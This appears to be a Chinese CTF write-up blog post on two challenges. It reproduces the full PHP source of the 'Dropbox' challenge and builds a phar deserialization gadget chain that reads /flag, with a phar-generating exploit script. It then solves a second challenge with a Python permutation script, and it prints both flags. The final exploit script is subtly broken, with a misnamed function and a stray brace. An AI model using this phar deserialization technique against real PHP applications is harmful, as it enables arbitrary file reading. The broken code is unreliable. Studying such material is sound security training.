[CTF]WriteUp第23篇
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每日WriteUp

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[CISCN2019 华北赛区 Day1 Web1]Dropbox

思路

注册登陆后，发现可以上传、下载文件，只能上传图片

下载文件的地方发现，是通过filename来索引的

可以先看源码

login.php

// login.php
<?php
session_start();
if (isset($_SESSION['login'])) {
    header("Location: index.php");
    die();
}
?>
<?php
include "class.php";

if (isset($_GET['register'])) {
    echo "<script>toast('注册成功', 'info');</script>";
}

if (isset($_POST["username"]) && isset($_POST["password"])) {
    $u = new User();
    $username = (string) $_POST["username"];
    $password = (string) $_POST["password"];
    if (strlen($username) < 20 && $u->verify_user($username, $password)) {
        $_SESSION['login'] = true;
        $_SESSION['username'] = htmlentities($username);
        $sandbox = "uploads/" . sha1($_SESSION['username'] . "sftUahRiTz") . "/";
        if (!is_dir($sandbox)) {
            mkdir($sandbox);
        }
        $_SESSION['sandbox'] = $sandbox;
        echo("<script>window.location.href='index.php';</script>");
        die();
    }
    echo "<script>toast('账号或密码错误', 'warning');</script>";
}
?>

register.php

// register.php
<?php
include "class.php";

if (isset($_POST["username"]) && isset($_POST["password"])) {
    $u = new User();
    $username = (string) $_POST["username"];
    $password = (string) $_POST["password"];
    if (strlen($username) < 20 && strlen($username) > 2 && strlen($password) > 1) {
        if ($u->add_user($username, $password)) {
            echo("<script>window.location.href='login.php?register';</script>");
            die();
        } else {
            echo "<script>toast('此用户名已被使用', 'warning');</script>";
            die();
        }
    }
    echo "<script>toast('请输入有效用户名和密码', 'warning');</script>";
}
?>

index.php

// index.php
<?php
include "class.php";

$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>

class.php

// class.php
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
    public $db;

    public function __construct() {
        global $db;
        $this->db = $db;
    }

    public function user_exist($username) {
        $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->store_result();
        $count = $stmt->num_rows;
        if ($count === 0) {
            return false;
        }
        return true;
    }

    public function add_user($username, $password) {
        if ($this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
        $stmt->bind_param("ss", $username, $password);
        $stmt->execute();
        return true;
    }

    public function verify_user($username, $password) {
        if (!$this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->bind_result($expect);
        $stmt->fetch();
        if (isset($expect) && $expect === $password) {
            return true;
        }
        return false;
    }

    public function __destruct() {
        $this->db->close();
    }
}

class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        $filenames = scandir($path);

        $key = array_search(".", $filenames);
        unset($filenames[$key]);
        $key = array_search("..", $filenames);
        unset($filenames[$key]);

        foreach ($filenames as $filename) {
            $file = new File();
            $file->open($path . $filename);
            array_push($this->files, $file);
            $this->results[$file->name()] = array();
        }
    }

    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

    public function __destruct() {
        $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
        $table .= '<thead><tr>';
        foreach ($this->funcs as $func) {
            $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
        }
        $table .= '<th scope="col" class="text-center">Opt</th>';
        $table .= '</thead><tbody>';
        foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">涓嬭浇</a> / <a href="#" class="delete">鍒犻櫎</a></td>';
            $table .= '</tr>';
        }
        echo $table;
    }
}

class File {
    public $filename;

    public function open($filename) {
        $this->filename = $filename;
        if (file_exists($filename) && !is_dir($filename)) {
            return true;
        } else {
            return false;
        }
    }

    public function name() {
        return basename($this->filename);
    }

    public function size() {
        $size = filesize($this->filename);
        $units = array(' B', ' KB', ' MB', ' GB', ' TB');
        for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
        return round($size, 2).$units[$i];
    }

    public function detele() {
        unlink($this->filename);
    }

    public function close() {
        return file_get_contents($this->filename);
    }
}
?>

download.php

// download.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
    Header("Content-type: application/octet-stream");
    Header("Content-Disposition: attachment; filename=" . basename($filename));
    echo $file->close();
} else {
    echo "File not exist";
}
?>

upload.php

// upload.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

include "class.php";

if (isset($_FILES["file"])) {
    $filename = $_FILES["file"]["name"];
    $pos = strrpos($filename, ".");
    if ($pos !== false) {
        $filename = substr($filename, 0, $pos);
    }
    
    $fileext = ".gif";
    switch ($_FILES["file"]["type"]) {
        case 'image/gif':
            $fileext = ".gif";
            break;
        case 'image/jpeg':
            $fileext = ".jpg";
            break;
        case 'image/png':
            $fileext = ".png";
            break;
        default:
            $response = array("success" => false, "error" => "Only gif/jpg/png allowed");
            Header("Content-type: application/json");
            echo json_encode($response);
            die();
    }

    if (strlen($filename) < 40 && strlen($filename) !== 0) {
        $dst = $_SESSION['sandbox'] . $filename . $fileext;
        move_uploaded_file($_FILES["file"]["tmp_name"], $dst);
        $response = array("success" => true, "error" => "");
        Header("Content-type: application/json");
        echo json_encode($response);
    } else {
        $response = array("success" => false, "error" => "Invaild filename");
        Header("Content-type: application/json");
        echo json_encode($response);
    }
}
?>

delete.php

// delete.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
    $file->detele();
    Header("Content-type: application/json");
    $response = array("success" => true, "error" => "");
    echo json_encode($response);
} else {
    Header("Content-type: application/json");
    $response = array("success" => false, "error" => "File not exist");
    echo json_encode($response);
}
?>

解题

看WP

phar://是php文件协议中读取压缩文件的协议
该协议会将用户元数据序列化
很多函数在解析phar协议时，会将其中的元数据反序列化，这里就可以利用了

这些函数有可以利用的phar反序列化

phar的基本构造：

<?php
    class User {
    	public $db;
    }

    $user = new User();

    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");  //设置stub，增加gif文件头
    $phar->setMetadata($user); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

phar的基本结构是这样的：

  • stub：类似于标志，是phar识别phar文件的依据
    基本格式为：<?php xxx; __HALT_COMPILER();?>，关键在于__HALT_COMPILER();?>，前面的部分无所谓
  • manifest：清单，记录phar压缩信息，权限、属性等
    如下：可以看到，其中meta-data是序列化格式的
  • contents：文件内容
  • signature：签名

我们先找找能利用反序列化的地方
首先看到File->close()方法，可以实现任意文件读取

<?php
// class定义

$a = new File();
$a->filename = "flag.txt";

$a->close();

找可以调用close的地方，发现User->__destruct()可以

<?php
// class定义

$a = new File();
$a->filename = "flag.txt";
$b = new User();
$b->db = $a;

$b->__destruct();

而反序列化会自动触发__destruct()，但是这样有个问题，我们看不到回显
我们需要在某一处有接收的调用的地方，存下file_get_contents("flag.txt")
这里发现FileList->__call()可以利用，它会接收一个函数，然后调用FileList中每个File的这个函数，并记录结果

<?php
// class定义

$a = new File();
$a->filename = "flag.txt";
// $a->close();
$c = new FileList();
$c->files = array($a);
// $c->__call(close);
// $c->close();
$b = new User();
$b->db = $c;

$b->__destruct();

最后把$b塞到phar里面就行

<?php
class File {
    public $filename;
}
class User {
    public $db;
}
class FileList {
    private $files;
    private $results;
    private $funcs;
 
    public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
 
        $file = new File();
        $file->filename = "flag.txt";
        push_array($this->files, $file);
        }
    }
}

$c = new FileList();
$b = new User();
$b->db = $c;

$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");  //设置stub，增加gif文件头
$phar->setMetadata($b); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

成功保存为phar文件

接下来就是上传，并在delete.php中索引
为什么download不行？因为download限定了open_basedir，不能打开其他文件夹。只有delete可以

这里download.php显示File not exist
另：不是flag.txt，是/flag.txt。这里对flag位置没有经验的话也可以写个脚本

flag{fc600cf5-1ee8-4dd8-afca-a5ce56147359}

注意

phar协议的应用，好好学学

[b01lers2020]Welcome to Earth

思路

跟着js代码一路往前就行

解题

到这里的时候没思路了，因为试了试fight，找不出flag
后来看WP发现，看全排列找就行

from itertools import permutations

flag = ["{hey", "_boy", "aaaa", "s_im", "ck!}", "_baa", "aaaa", "pctf"]

l = permutations(flag)

for i in l:
    words = ''.join(i)
    if words.startswith("pctf{hey_boy") and words.endswith("ck!}"):
        print(words)
pctf{hey_boyaaaas_im_baaaaaack!}
pctf{hey_boyaaaas_imaaaa_baack!}
pctf{hey_boyaaaa_baas_imaaaack!}
pctf{hey_boyaaaa_baaaaaas_imck!}
pctf{hey_boyaaaaaaaas_im_baack!}
pctf{hey_boyaaaaaaaa_baas_imck!}
pctf{hey_boys_imaaaa_baaaaaack!}
pctf{hey_boys_imaaaaaaaa_baack!}
pctf{hey_boys_im_baaaaaaaaaack!}
pctf{hey_boys_im_baaaaaaaaaack!}  # 找到
pctf{hey_boys_imaaaaaaaa_baack!}
pctf{hey_boys_imaaaa_baaaaaack!}
pctf{hey_boy_baaaaaas_imaaaack!}
pctf{hey_boy_baaaaaaaaaas_imck!}
pctf{hey_boy_baas_imaaaaaaaack!}
pctf{hey_boy_baas_imaaaaaaaack!}
pctf{hey_boy_baaaaaaaaaas_imck!}
pctf{hey_boy_baaaaaas_imaaaack!}
pctf{hey_boyaaaaaaaas_im_baack!}
pctf{hey_boyaaaaaaaa_baas_imck!}
pctf{hey_boyaaaas_imaaaa_baack!}
pctf{hey_boyaaaas_im_baaaaaack!}
pctf{hey_boyaaaa_baaaaaas_imck!}
pctf{hey_boyaaaa_baas_imaaaack!}

稍微看看就知道答案是什么了，很有意思的一道题

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